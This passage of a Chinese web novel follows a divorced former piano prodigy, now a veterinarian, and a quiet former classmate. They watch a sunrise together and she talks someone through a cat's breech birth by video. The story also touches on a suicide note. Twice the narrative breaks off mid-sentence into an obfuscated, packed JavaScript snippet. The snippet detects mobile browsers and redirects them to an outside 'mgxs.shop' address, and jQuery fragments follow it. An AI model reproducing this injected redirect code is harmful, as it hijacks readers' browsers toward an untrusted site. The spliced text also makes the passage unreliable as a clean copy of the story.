《今天他决定活下去》
3. 今天
这不是她第一次和他肌肤相触。
她的手掌柔软,指尖却带着坚硬的薄茧,刮在他手心痒痒的。
熟悉的。
向前迈一步,恍惚一瞬,时空回转。
沈礼周想起施然第一次来学校的那天。
施然是高一下半学期才来到莲市一高的。
沈礼周清楚地记得那个大雪天,施然人还未到,消息已传遍整个班级。
包成功在后面很激动地说班里要来一位“钢琴女神”,还说听说她从小到大没怎么来过学校,之前都是家里聘请教师团队,量身定制课程学习的,blablabla,话还没说完被前排的男生打断,不耐烦地叫他暴发户、土包子,要他速速闭嘴滚回家。
莲市一高是莲市顶级的私立高中。
真正的世家子弟有之,暴发户二代有之,中产阶级的学霸有之,像沈礼周这样全市统考前三、学杂费全免、打着“学习改变命运”活广告的,也有之。
沈礼周那时就明白。
有些人出生,是为了继承这个世界;有些人,是为了挤进这个世界;有些人或许能够打破这个世界;而也有一些人,只是打算看一看这个世界。
他拖着腮空茫地望着外面的大雪,听到了清脆的笑音。
“大家好,我是施然。”
顿了顿,他的视线转了回来。
女孩站在讲台前,有些赧然地和大家打招呼。
她笑容略显紧张,身上的校服很奇怪,好像湿透了雪,又被吹干,带着皱皱巴巴的暖意。
她看起来很真诚,也很大方,坦诚地说自己从小到大都没怎么参加过集体生活,很希望能和大家做朋友,做很好很好的那种朋友。
紧接着的大课间,她便请大家喝当下最时兴、也最不好买的网红奶茶。好几大纸袋拎进来,挨个分发,施然有点不好意思地笑,说不知道大家喜欢什么口味,就参考朋友的意见都买了一些。
芝士绿妍、满杯红柚、豆乳奥利奥……有的冒着白雾的热气,有的杯壁上凝着细密的水珠,一看就是冰的。
“那个朋友就是我。”程子淼懒洋洋地站在她身旁,道,“课室暖气开得热死了,男生喝冰的,女生喝热的吧。”
大家纷纷对此表示赞同,有人主动上来拿,也有人一动不动。于是施然主动去分发,程子淼扯她胳膊,要大家自己拿,被她挣开,不知道说了句什么,最终他嘟囔了几句坐下,还是任由她自己去发了。
分发到沈礼周的时候,他望着一颗颗珍珠在冰杯里浮浮沉沉,低声说了句“谢谢”,捧住,然后她的指尖不小心碰到他的。
他下意识想收回手,但她反应比他还要快,竟然前进了一步,顺手握住了他手指。
还没反应过来,女孩已经蹙起了眉头,极为自然地将手背贴在了他额头上。
“好烫啊。”她道,“你发烧了。”
那是一只养尊处优的手。很漂亮,也很柔软。
触感像绸缎,像雪花,像从来没有触碰过任何东西,指腹有一点薄薄的茧,但那茧也是柔软的。
沈礼周迅速地退开一步,却没成功。
椅子腿刮在地上,撞在后座的桌子上,发出有些刺耳的声响。
这声响吸引了前排正和别的女生笑着闲聊的程子淼。他侧目望来,笑容顿在脸上。
施然的手还未放下。
她看似温柔却不容抗拒地贴着沈礼周的额,再贴回自己额上。
沈礼周的余光之中,程子淼的脸色微微冷沉了起来。
他身边的女生和他微微撤开距离,不再说话,气氛变得尴尬而沉闷,几人之间的小小空间像正在注水的塑料袋,水位一点点上升,空气越来越稀薄。
而施然仍保持着温和的笑,好似什么也没注意到似的,对沈礼周道:“你发烧了。我给你换一杯热的,好不好?”
那双黑白分明的猫眼纯真而狡黠,无辜地对他眨了眨。
后来,他课桌上那杯冰果茶被换成了滚烫的鲜芋牛奶,笔袋里还被塞进了一包退烧药。
女孩端坐在他斜前方认真听讲。
时不时地垂下头记笔记,再将那掉落的几缕碎发别在耳上。
那是沈礼周第一次喝奶茶。
粉紫色的,灼热的,甜腻的,顺喉咙而下,一路到胸腔。
他不太适应地轻咳一声。前面正听讲的施然似有所感,转过头望向他,四目相接,她微微勾起唇角,指了指笔袋,提醒他喝药。
而她身旁的程子淼跟着侧过身,沉沉的、深潭般的视线,高高在上地落在沈礼周身上。
-
两人走出程子淼的视线范围,施然松开沈礼周的手,退回安全距离。
“实在不好意思……”短暂的锐利感褪去,她诚恳而认真地道歉,“不知道你现在结婚或有女朋友吗?”
沈礼周沉默着,微微摇头。
施然再次道歉:“对不起。我刚刚冲动了,给你添麻烦……”话音还未落,被沈礼周打断。
“上车吧。”
他拉开车门,道。
那是一辆线条流畅的豪车。大概三四百万的样子。
施然顿了顿,问:去哪里?”
“看日出。”
她有些失笑:“真去啊?”
“不去吗?”沈礼周顿了顿,道,“……我以为你会想看。”
施然确实还蛮想看日出的。她还从来没有看过日出。
但她又有些不好意思:“你方便吗?刚刚已经很麻烦你……”
“方便。”
沈礼周道。
施然抱着胖虎坐进车里,车子很快启动。沈礼周点开暖气,又点导航,道:“……我要去工作,正好是往海边的方向。”
立春时节,海边的日出时间大概是7点左右。
而日出前天空会先亮起来,那是霞光最美的时候。
需要6:30前抵达。
肾上腺素慢慢褪去,施然“哦”了一声,感觉大脑昏昏沉沉,有些发懵。
什么工作要去这么早?
什么工作能赚这么多?
车内好空旷,没有任何装饰、日用品,也没什么使用痕迹。
像崭新的车。但又是几年前的款式。
施然瞥向身旁男人安静的侧脸。
他好像并不打算多介绍几句自己的近况。刚刚遇到了如此尴尬的场景,好像也并不打算多问一句。
而她也恰好没什么解释的欲望。
只是太久不见了,两人是如此陌生,尴尬的气氛在车内慢慢晕开,施然撑住昏沉的脑袋,觉得应该努力找个话题才好。
正左思右想时,沈礼周的车速开始变得缓慢,停在路旁。
“抱歉。”他道,“稍等我一下。”
施然有些迷茫地“嗯”了一声,抱着猫看着他下了车。
他腿长,走得有些急,很快消失在夜色里,不知道要去哪里。
她安静地待在车上,停顿两秒,翻开了手机。
手机很安静,没有任何一条消息。
当然不会有消息了。
毕竟程子淼和她一样骄傲。
微信界面的置顶仍标注着“老公”,程子淼的头像是她曾经心血来潮画的一只抱着橙子的小猫。
她不怎么会画画,那画可以说是稚嫩,也可以说是丑,和知名商人程子淼的形象很不一致,导致他每次出席宴会加人微信时都会被投以异样的眼光。
她也曾勒令程子淼换掉,但对方只一副无所谓的表情,道“懒得换来换去”,又道“谁敢说我?”,拽得像什么大尾巴狼。
聊天页面也很安静。
最后一次消息,是她发去了一份她已经签好的离婚协议书,说“签字”,对方不到五分钟便签好发回过来,道“满意了?”,她没有回,时间就在此节点彻底停滞,和他们的婚姻一样。
结束得甚至有些仓惶。
小猫在她怀里“喵”地叫了一声。
胖虎最不喜欢给人抱,施然每次都强买强卖,和它大战百十回合,有时甚至还要程子淼帮忙。
后来她想明白,猫和人一样,有自己的脾气和性格,要尊重,而不是试着改变对方。
她这样想着,然后把脸埋进胖虎的肚子,恶狠狠地吸了一口。
温暖,柔软,熟悉的小猫给她安心的味道,让她喉头泛起莫名其妙的酸意,她忍了一秒,又一秒,胖虎的肉垫突然柔和地贴在她脸颊上,却没有任何推拒的力道。
眼泪夺眶而出。
根本不受她的控制。
她咬住唇,死死地压抑住凌乱的呼吸。
拜托,施然。
你是爸爸妈妈捧在手心的掌上明珠,是名利场上摇曳生姿的大小姐,还是曾经翻云覆雨的钢琴女神,不要搞得好像被谁抛弃了一样。
眼泪还是不小心流出去,把小猫的毛流得湿哒哒,它歪头舔了起来,舌苔刮到施然的脸颊,有些痛,也有些痒。
施然泪眼朦胧地抬起头,看到胖虎有些嫌弃又有些忍耐的模样,忍不住又笑起来。
“你真是全世界最可爱最好的小猫。”她鼻音很重地夸赞它,又用它的毛狠狠地擦了一把脸,坐直在座位上,深吸一口气,平复了情绪。
又过了一会儿,车门被打开。
沈礼周拎着大包小包,裹挟着浓稠而安静的黑夜进来,然后递给她一条厚厚的绒毯。
粉色小猫头的图案,很温暖,厚实,短暂地遮挡了她和他的视线,施然庆幸没有被对方看到自己哭成肿眼泡的模样。
“你发烧了。”随之而来的还有粥,保温杯,和药,沈礼周道,“先吃点粥吧,然后吃药。”
“……我发烧了?”施然怔怔地接过那些东西,有些迟疑地重复他的话,随后才发觉自己真的浑身发冷,头晕脑胀。她道,“……谢谢。”
“不客气。”
沈礼周道。
如同什么事都没发生过般,车子继续驶向前方。
施然懵懵然地拆开粥,胖虎也凑上来嗅,虾蟹的鲜味混着米香扑面而来,里面混杂着姜丝和油条碎,香极了,是她在国外时常惦记的那一口。
粥没有那么烫,温度正好,她小口小口地吃着,大脑迟钝地转起,再次尝试着寻找话题。
说点儿什么好?
还没来得及思考,身旁的沈礼周已经伸出手,打开了音乐。
是钢琴乐,拉赫玛尼诺夫的《第三钢琴协奏曲》。
音符在车内跳跃起来。起先是单音轻轻叩击,像密集的金色流星雨洒落夜空,而后旋律变得密集,宽广,如潮水般一层层地涌了上来,几乎冲上车顶,冲出车窗。
城市的灯火被甩在身后,光点越来越小,头顶的夜空彻底暗下来,繁星闪烁,世界显得恢弘而辽阔。
施然有些出神。
这是她高中曾练习整整一个暑假的曲子。
在家里,在琴房练,在课桌上对着空白的作业本练,周末去奶奶家放空时也练。
那时她心高气傲,觉得自己天下无敌,没有她施然弹不下来的曲子,更没有她施然做不成功的事情。
弹弹弹,弹到指尖发麻发烫,失去知觉,终于能够干净利落地落下最后一个和弦,画上圆满的句号。
后来她在无数比
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518611|203274||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赛和音乐会上演奏过这首曲目,获得过无数掌声与夸赞,直到弹奏变得机械,麻木,再也找不出最初的模样。
她好久都没再听过这首曲子。
没想到这时听到,竟然又莫名其妙地想起那个年少的闷热盛夏,窗外的蝉鸣,和纯粹的、平静的、酣畅淋漓的时光。
“你也喜欢钢琴曲?”施然问。
“嗯,”沈礼周道,“喜欢。”
“我当时学这首的时候吃了好多苦头。”施然笑笑,“那会儿手小,八度勉强够着,中间连续十几个小节,左手一直在跳,右手又跟不上。我每次弹到那儿就卡,要么错,要么漏,要么节奏飘了,有次气得大哭,把琴谱都撕了,后来流着眼泪又偷偷粘上。”
沈礼周道:“但你最终还是学会了。”
“当然。”施然道。
他道:“所以,你说的是对的。”
施然有些迷茫:“我说的……什么?”
“你曾经说过一句话。”沈礼周道,“你说,只有把眼泪流出去,心里空空荡荡,才能装得下勇气。”
空气停滞了几秒。
“啊,”施然道,“我还说过这样的话……都忘记了。”
“很有哲理的话,”沈礼周勾勾唇角,温声道,“让人印象深刻。”
“别说我了。”她有些赧然,开始没话找话,“你现在还画画吗?我记得你高中时画画很好。每个月的黑板报都是你一人承包。”
“还画的。”沈礼周道,“画的比较少。”
快到海边了。施然望向前面的路标,道:“你在前面把我放下就好。你不是还要去工作吗?别迟到了。”
他顿了下:“我现在做的也是画画相关的工作,难得看日出也是采风。我们一起吧。”
施然想了想,没有再推让。
车停在滨海路一处探出去的弯道上。再往前开不了了,下面就是海,黑沉沉的一片,只能听见浪头拍打礁石的闷响,一下,又一下,像大地的心跳。
熄了火,世界彻底安静下来。
施然把座椅往后放了放,裹紧身上的毛毯,隔着车窗望出去。天还是黑的,但那种黑已经不再纯粹,东边的海平线泛出一层极淡的灰蓝色,像墨汁滴进水里刚开始晕染的瞬间。
他们一起静静地望着窗外。
那片灰蓝色越来越亮,深色的海面开始泛起微微的粼光。
“时间正好,要日出了。”她将粥吃干喝净,又就着保温杯吃了药,笑道,“今天真的很感谢你。改天我请你吃饭吧。”
气氛奇怪地沉默了一会儿,直到沈礼周轻声道:“不用了。”
海平线的最边缘,出现了一线红。
极细、极淡,像有人用毛笔蘸了朱砂,在最远处轻轻划了一道。紧接着,那线开始变粗、变亮,从红变成橙红,再晕染成橘黄。光从那一道缝隙里倾泻出来,把云层染成金红色,一片一片,像烧起来了一样。
大海醒了。
浪头扑上来的时候,顶端镶了一层金边。有海鸥远远地叫了几声,从他们头顶掠过,翅膀被朝阳照成透明的橘色。
太阳露出一小半的时候最美,半圆形的弧度像正在融化的咸蛋黄,光芒不刺眼,可以直视。
她和他就那么并肩看着,看着太阳一点一点往上挪,看着海面上的金色越来越宽,看着黑暗彻底退去,被一片温柔的蓝取代。
胖虎也很乖巧,扒着车前方,两只眼睛瞪得溜圆,不知道是在看太阳还是看小鸟。
“好美。”施然感叹道。
沈礼周“嗯”了一声,声音很轻,几乎听不到。
她感知到了什么,转头望向他,看到他微微地阖上了眼眸,睫毛密密地覆下来,呼吸开始变得轻浅,缓长。
竟然睡着了。
施然想要转过视线,却又莫名其妙地,多停留了一秒。
沈礼周实在是很英俊。
他和程子淼的英俊不一样。程子淼的英俊是锐利的,矜贵的,高高在上的,时常带着漫不经心的浅淡笑意,望人时目光轻飘飘的,像羽毛扫过,却带着一种不动声色的穿透力和压迫感。
沈礼周不同。他的英俊是温和的,柔软的,安静的。他皮肤白,瞳色也浅淡,不常与人直接对视,施然也是现在才正眼望他,发现他睡着时眉眼舒展,少了一丝疏离,多了一分乖巧。鼻梁高挺,却不显得凌厉,线条从山根流畅地道鼻尖,像工笔画里最讲究的一笔。
他睡得很熟,头一点,一点,往她身边偏了偏。
太阳已经完全升起来了,海面波光粼粼,有几只海鸥在低空盘旋。
远处有早起的老人沿着海边慢跑,身后跟着一只摇尾巴的小狗。
阳光晒在毛毯上暖洋洋的,不知道是粥还是药开始起作用,那种刺骨的冷意逐渐褪去,施然开始微微地发汗,身体舒服了些,心情好像也好了不少。
她把车窗打开一条细细的缝。
海风温和地灌进来一点点,咸咸的,新鲜的。
就像久违的勇气。
扶手箱上,谁的手机震动了一下。
胖虎伸了个懒腰,跟着一跃而下,将将踩在那手机上。施然伸出手,将它捞到一旁,视线望到了什么,顿住——
沈礼周的手机竟然没有密码。
随随便便地被小猫的肉垫踩开,微信消息正一条条地弹进来。
而吸引施然注意力的,是那张奇怪的屏保。
屏幕是纯粹的白底,上面有着几行黑色的、清晰的小字——
【很抱歉吓到你。
请不要报警,不要通知任何人。
这是我自己的决定……】
4.活下去
沈礼周做了一个梦。
梦里是皑皑的白雪。
雪花飘然,纯净,慷慨地坠在干枯灰暗的树枝上,散发出灼灼光晕。
世界是如此圣洁美丽,让他恍惚间以为自己上了天堂。
眨一眨眼睛。
睫毛很轻地扫过,模糊的视线变得清晰,他很快意识到自己蜷缩在一个小小的卫生间里。
熟悉的卫生间,熟悉的逼仄和冰冷。
熟悉的天窗,陌生的雪。
莲市很久没有下过如此大的雪。
而记忆中上一次这样的大雪,要了他父亲的命。酒后的中年男人醉倒在巷子离家的最后的一个拐角处,不知做了什么梦,微笑着在雪中冻成了冰,被清晨起来卖早餐的摊贩发现,报了警。
沈礼周抖开裹在身上的薄毯,有些头重脚轻地站起身来洗漱。
冰冷的水扑在脸上,像密密麻麻的针。他弯下腰,就着那冷水冲头发,洗身体,直到皂香代替卫生间的气味,彻底包裹住自己,才慢慢地抬起头,呼出一口滚烫的气息。
镜中的男孩抬起湿漉漉的眼睛。
他的皮肤苍白,眼眸浅淡,唇却嫣红,是母亲常骂的“狐狸精相”——
很不巧地,他和父亲的情人长得太像。
卫生间的门仍被反锁着。
沈礼周安静地等待着,突然隐约听到了熟悉的钢琴声,就从院墙的那一边传来。
这是一首很复杂的曲子,他已经听了近乎两个月。
早上弹,晚上弹,有时深更半夜也会突然弹起。
那琴声刚开始还在调上,后来不知哪一拍没跟上,卡住了。
停顿片刻,再起,又卡在同一处。
再起,再卡。不知道重复多少次,然后很生硬地冲了过去,每个音节都磕磕绊绊,不知道跟谁较劲。
较着较着,琴声停了。短暂地安静后,琴键被砸出一堆乱七八糟的音。
安静几秒。
沈礼周的呼吸都放轻。
琴声突然再次响起。
很慢。很轻。
每一个音都按得很小心。
也很动听。
琴声第一次顺利地进入了那个卡住的节拍,优美,流畅。但在即将顺利完成时,琴声却突然消失了。
完全安静。再也没有响起。
沈礼周回过神来。
他收回手指,看到自己不知什么时候,在充满水雾的镜子上画了一副小画——
是一个咬牙切齿弹琴的小人儿。
卫生间的门锁咔哒咔哒地响起,被推开,有个虎头虎脑的小男孩探进头来,小声道:“哥哥,出来吧。”
男孩一边说着话,一边小心翼翼地走进来,像要拥抱他似的,塞在他手心了一个鸡蛋。鸡蛋的温度带着男孩手心的温度,暖得微微发烫。
沈礼周收好,摸了摸他卷曲的头发,走了出去。
客厅的光线很暗,母亲坐在窗边,双指夹着一支烟,烟雾袅袅升起,面前是空白的画板。她手边扔着几管颜料,挤得干瘪,干掉的颜料像凝固的血痂。
她的长发散落下来,蓬松,卷曲,凌乱地遮挡了大部分面颊,看不出喜怒。指尖的烟燃着,烟灰掉落在她膝盖上,但她一动未动,恍若未觉。
“妈妈,”沈乐为哒哒地跑过去,仰起头对她笑,“哥哥送我去上学——”
她才像从梦中惊醒般,迅速在画板上碾灭了烟,沙哑道:“好的,宝贝。早上想吃什么?”
“已经吃过早饭了呀。”沈乐为歪了歪头,有些不明白,“你刚刚做给我吃的。”
她显然有些发怔。那双眼珠有些浑浊地盯着沈乐为,嘴唇喃喃,一时未说出话。
沈礼周走上前去,牵住沈乐为的手,低声道:“妈,我们去学校了。”
她沉默几秒,“嗯”了一声,别过头去。
打开门,雪花卷在冷风里吹进来,沈乐为先一步冲出去:“好漂亮的雪!”一脚踩在雪地里,紧接着又担忧,“哥,斑斑会不会冷啊?”
沈礼周握紧了手中的鸡蛋,四处看。
斑斑是只流浪的奶牛猫。沈乐为曾经在下大雨时把它抱了回家,但母亲不允许在家里养宠物,又勒令他们送了出去。斑斑很聪明,绕着这个片区开始讨饭吃,经常在上学或回家的路上都能看到它的踪影。
但如今世界白茫茫的一片,连猫的爪印都没看到。
只看到隔壁的奶奶起来了,正在扫雪。
她穿着深色的花棉袄,戴着顶小帽,动作一下一下地,扫得很慢,很仔细。
“您放着吧!”身旁男人穿着挺括的黑色大衣,为她撑着伞,声音很无奈,“等下沈总知道了肯定不高兴。这些活让佣人干就行……”
“什么佣人佣人的,”奶奶没撒手,一开口中气十足,带着沉缓的威压,“告诉施国立,现在是新世纪了,讲究人人生而平等!”
“奶奶,早上好!”沈乐为主动接话,奶声奶气,“我们老师昨天也讲了,生命都是平等的!”
“哎呦,乐乐,周周,早上好。”奶奶笑眯眯地和他们打招呼,望一眼他们家紧闭的门,笑容顿了顿,“妈妈在家干什么呢?开学第一天,没送你们去上学?”
沈礼周握紧沈乐为的手,道:“她说让我送乐乐去……”
“好,好,”奶奶道,“就是下雪天,不好走,要不坐小王的车?反正也是顺路。”指了指旁边的黑衣男人。对方礼貌地冲他们点了点头。
沈乐为“哇”了一声,才看到旁边那辆银白色的豪车:“奶奶,你好有钱!”又犹豫道,“但我在路上可以玩雪……”
“谢谢奶奶,”沈礼周温声道,“我们早上走一走,只当锻炼身体。”
两人道别后朝巷子的尽头走去。沈乐为小声道:“妈妈让我不要总是麻烦奶奶。为什么?”
隔壁的奶奶其实是他们的房东。
儿子赚了大钱想把她接走,但她不愿意离开老地方,于是就地扩建,建成了一栋有着高大围墙的现代化中式庭院。
而他们家,是租住在她院旁老房子的租客。平日里受尽她的关照,不应再索要更多。
“因为你长大了。”沈礼周笑笑,道,“要学会自己的事情自己做。”
沈乐为长长地“哦”了一声。
他才8岁,小学二年级的孩子,还有很多不懂,又好像懂了许多。
身后奶奶还在和那男人抱怨:“还有,你告诉施国立,叫他赶紧把他叛逆期的宝贝女接走。那琴白天弹,晚上弹,是不是想要了我老婆子的命?”
那男人如梦初醒:“小姐去哪儿了?”
“什么小姐小姐,”奶奶厌弃地道,又撒开声音喊,“施然——施然——”
“哎——”
从前面一辆家用车下面,钻出来了一个女孩儿。
她鼻头被冻得红红,发梢眉稍上都是雪,眼眸很亮。用校服外套兜住那只奶牛猫抱在怀里,从沈礼周旁边跑过,吹过一阵清爽的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523861|203274||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风,道:“奶奶,快看我发现了什么——”
“一只小猫!”她声音清脆,越来越远,“我早上从二楼看到它的,好不容易抓到它。这么冷的天,瞧把它冻的,奶奶帮我养起来……”
斑斑可怜兮兮地缩在她怀中,绒毛上的雪被她的体温暖化了,显得肚子都大了几分。
“快给我快给我,校服都弄湿啦!”奶奶道,“呦,这小猫怀孕了呢……”
鸡蛋有点冷掉了。沈礼周稍稍松一口气。
幸好不是所有流浪的小猫,都只能一直流浪。
他在心里恭喜这只小猫找到了家。
不用跟着他,每天早上只能吃到一个冷掉的鸡蛋。
沈礼周转过头望向斑斑。
斑斑从女孩的怀里抬起头,遥遥望向他。
……
积雪融化,阳光洒落,变幻出波光粼粼的海面。
沈礼周睁开眼睛,面前是只虎视眈眈的猫咪。
四目相接,那双澄澈的猫眼几乎望到了他心底。
他浑身几不可闻地一僵。然后胖虎迅速地被人抱走,施然的声音响起:“你醒啦。”
抱着猫的少女和抱着猫的女人在他面前重叠起来,沈礼周有些迷茫地坐起身子,迟钝地意识到自己身上盖了半截粉色小猫头的毯子。而另半截盖在她身上。
像火焰,像电流,迅速从身体里不知道什么地方流窜着灼烧起来,一路烧得他耳根发烫。
施然毫不在意地将那毯子卷走,重新裹在自己身上,指指手机,道:“你手机一直在震。有人好像很急着找你。”
“……找我?”
沈礼周的嗓子很哑。他拿起手机,划开信息。
全都是王理想的消息。
照片、视频,开始是文字,后来变成语音,最后是语音夹杂着文字,询问沈礼周是否收到,如果收到,能不能回复他一条消息。
沈礼周睡得手指发麻,下滑时不小心按到一个视频,点开便传出来“喵喵”的声音,胖虎被吸引,施然也被吸引:“你养的猫吗?”
“……不是,”沈礼周迅速阅读大量的消息,总结道,“有小猫在生小猫。好像有点难产。”
“难产?”施然有些严肃起来,她坐起身子,“有视频吗?方便给我看下吗?”
沈礼周顿了顿,将手机放远了一点。她的脑袋极为自然地凑到他身边,认真地望着那小小的手机屏幕。
视频里,“船长”正侧躺在铺着旧毛巾的纸箱里,腹部剧烈起伏。它费力地转头舔着,舔几下就停下来喘,眼神有些涣散。
“这是第几只?前面生了几只?”施然盯着屏幕,语速比平时快,“多久了?”
沈礼周顿了顿,直接给王理想拨去了视频电话。
对方很快接起来,声音有些急切,问题也奇怪:“沈先生?您没事吧?”
“……嗯,”沈礼周道,“兽医呢?”
“兽医是兼职的,”王理想有点无措,“最近回老家休息了,不在莲市……”
施然轻轻吸一口气。
而身旁的男人就在此刻抬眼望向她,莫名其妙,又极为自然地,将他的手机递到她手上。
……他怎么会知道?
她还从没有告诉过任何人,除了程子淼。
连爸爸妈妈都不知道的事……
顾不上细想。
“您好,我是兽医。”施然望向手机屏幕,声音很稳,“您方不方便把摄像头对准母猫?”
5.今天
王理想赶紧把手机镜头翻过去。
屏幕里,“船长”侧躺在纸箱里,腹部还在起伏,但明显没力了。一只小小的后腿卡在外面,泛起粉紫的瘀色。
施然盯着屏幕看了几秒。
“胎位不对,卡住的时间太长了。”她语速又快又稳,“您听我说。先用肥皂洗到肘关节,然后戴手套,有消毒手套吗?”
“有……医药箱里有!”
“好。再找一瓶润滑剂,凡士林或者石蜡油都行,如果没有就用食用油。”
王理想的身影从镜头里消失,不一会儿后跑回来,手套已经戴好,手里拿着一个小瓶子。
“石蜡油可以是吗?之前给猫治便秘用的!”
“可以。”施然盯着屏幕,“现在你轻轻托住母猫的后半身,让它稍微抬高一点。”
王理想照做。
他的手有些抖,动作很轻。
“好。现在用石蜡油润滑小猫露出来的部分——腿和屁股那里。慢慢来,别急。”
屏幕上,王理想的手指小心翼翼地涂抹着。母猫哼了一声,但没有挣扎。
“接下来,”施然顿了一秒,“你要试着把小猫往回推一点点。”
“……推回去?”王理想一怔,“不是拉出来吗?”
“不能硬拉。臀位硬拉会把小猫的脊柱拉断,或者把母猫的产道撕裂。先推回去一点,调整胎位,再让它重新出来。”施然的声音很平静,手比划着,像在教学,“你用手掌轻轻抵住小猫的屁股,在母猫宫缩的间隙,往斜上方推。别和宫缩的力量作对,宫缩的时候停住,宫缩停了再推。”
王理想深吸一口气,低头看着那只奄奄一息的小猫。
“我试试……”
镜头里,他的手指在抖。
“别怕。”施然轻声道,“你是在帮它。推不进去也没关系,我们还有别的办法。”
屏幕上,王理想开始动作了。
不一会儿,他惊喜地喊了一声:“真的推进去了一点……”
“好。现在等下一次宫缩。”
安静了几秒。船长的身体又开始用力。
“它好像要出来了。”王理想紧张道。
“别拉。让它自己出来。”施然盯着屏幕,“你只需要托着,保护一下,别让它摔着。”
母猫发出一声低低的嚎叫。
那只小猫终于滑出来了。
小小的,湿漉漉的,浑身裹着黏液。一动不动。
“……它怎么不动?”王理想的声音有些抖。
施然道:“拿干净毛巾把它的嘴和鼻子擦干净,然后包着它搓背,轻一点,从脖子往尾巴方向搓。”
王理想手忙脚乱地找毛巾。
沈礼周侧头望向施然。
她秀眉微微蹙着,抿着唇,认真地盯着屏幕。
不知是退烧药的缘故还是什么,她的鬓发被汗水浸地有些潮湿,握着手机的指尖也微微泛白。
可能是几秒,或几分钟,终于,一声细细的叫声从手机里传出来。
“叫了叫了!”王理想的声音几乎是在吼,“它叫了!”
施然往后靠进椅背,轻轻吐出一口气。
“母猫呢?还有宫缩吗?”
“有!第二只要出来了,这次头先出来的!”
“好,让它自己生试试。”
视频电话打了近一个小时。
两人一边关注着船长的情况,一边聊起生生庄园,聊起猫猫狗狗的一切,越聊越尽兴,颇有些相见恨晚的意思。
王理想中间还不间断地拍起马屁,“这全都要靠沈先生”“沈先生之前也这样说”“沈先生真的很有爱心,像您一样”等等,油滑得很,冷不丁梆梆就一下,让人想打断都来不及。
终于,三只小猫挤在船长的肚子边上,嘴巴一拱一拱地找奶吃。船长的眼睛半眯着,尾巴有一下没一下地搭在小猫身上,像是在数数。
“真棒呀,我们船长。”施然笑道,“理想哥,接下来几天你要注意几点。第一,观察它有没有发烧、不吃东西、或者□□流脓,那是产后感染的征兆。第二,确保小猫都能吃到奶,如果有弱的抢不到,要人工辅助喂。第三,给它补充营养,罐头、鸡胸肉、羊奶都可以,它现在需要能量。第四——”
她顿了顿,笑道:“第四,别老去打扰它们。让它安心喂奶。你可以在旁边看着,但别老伸手去摸。”
王理想连连点头:“好的好的,这我还是有经验的。”
“还有,”施然补充道,“如果发现它□□发红发硬、小猫吃奶时母猫疼得叫,可能是乳腺炎,及时联系兽医……或者直接联系我。你记一下我的电话吧?方便的话可以加我微信,有什么问题随时联系。”
“真是太感谢您了,施医生,”王理想记下了施然的电话,又热情道,“您什么时候有空,和沈先生一起来生生庄园看看?”
屏幕里挤着王理想胖胖的喜庆笑脸,还有两只豆大的希冀眼睛,望望施然,再望望沈礼周。
施然转头望向一直沉默的沈礼周。
那双琥珀色的浅瞳像隔着一层霜,没有焦点,淡淡地望着前方,然后慢慢地有了焦点,聚焦在她身上,长长的睫毛忽闪一下,两下,然后茫然地点了点头。
施然怀疑他根本就没听到王理想在说什么。
“好呀,”她和王理想笑道,“有空我去看船长。”
王理想:“哎!好!谢谢施医生!谢谢沈先生!生生庄园随时欢迎你们——”
视频终于挂断。
车内安静下来。
拧开瓶盖的矿泉水被递过来,施然接下,咕嘟咕嘟地灌下小半瓶。
她的后背都被冷汗浸湿了。
施医生……
她好久都没有听到过这样的称谓。
“小猫活下来了。”沈礼周的声音很轻,他抽一张湿巾递给她,“辛苦了。”
施然顿了顿,伸手去接,胖虎脱离她的掣肘,一跃,踩在了沈礼周的腿上,长长的尾巴扫在他手腕间。
沈礼周动作一顿,呼吸立刻急促起来,身体开始不易觉察地变得僵硬,面色也有些发白。
“胖虎——”施然迅速将胖虎一把捞回来,压低声音,用了威胁的语气,道,“要做礼貌小猫。”
她低头抚摸着胖虎,想起来:“对了。你怎么知道我是兽医呢?”
不远处的小孩在打水漂。石子被投入大海,海浪翻滚,暗流卷起,再归于表面的平静。
沈礼周垂着眸,呼吸轻轻,一言未发。
施然还没有告诉过任何人她成为一名兽医的事情。
连父母也被她和程子淼一唱一和地蒙在鼓里,更别提朋友们了。
毕竟从曾经的“钢琴女神”摇身一变,变成了每天蹬一双旧工装靴,穿梭在实验室、牛栏、羊圈、动物诊所等地的“普通人”,中间经历的无数坎坷,在异国他乡的艰难求学,从零开始的生物化学解剖学……
讲起来都太过于复杂,让人一张口就泄气。
所以最后面对朋友的询问,她选择了最简单的、轻描淡写的解释方式——敷衍了事。
我吗?还在弹钢琴。
偶尔弹。也不经常啦,毕竟结婚了嘛。
结婚好像是个什么有诅咒的词语。
只要某个女人结了婚,什么事业都可以理所当然地放下,都可以干脆利落地不做,而且没有任何人会指指点点。
朋友们会理解地点头,话题便结束于此。
而沈礼周。
他为什么会在对方说“兽医不在”的时候,如此自然地和她四目相接,又如此自然地将手机递给她呢?
施然望向他,阳光在他的睫毛上落了一层薄薄的暖色,他的皮肤剔透,琥珀色的眼眸也剔透,安静,漂亮,乖巧得似乎像藏不住任何秘密。
“我只是碰碰运气。”他终于开口,“你高中时说过,你真正的理想是当一名兽医。”他视线飘忽了下,转移到她抱着胖虎的手上去,道:“恭喜你实现了你的理想。”
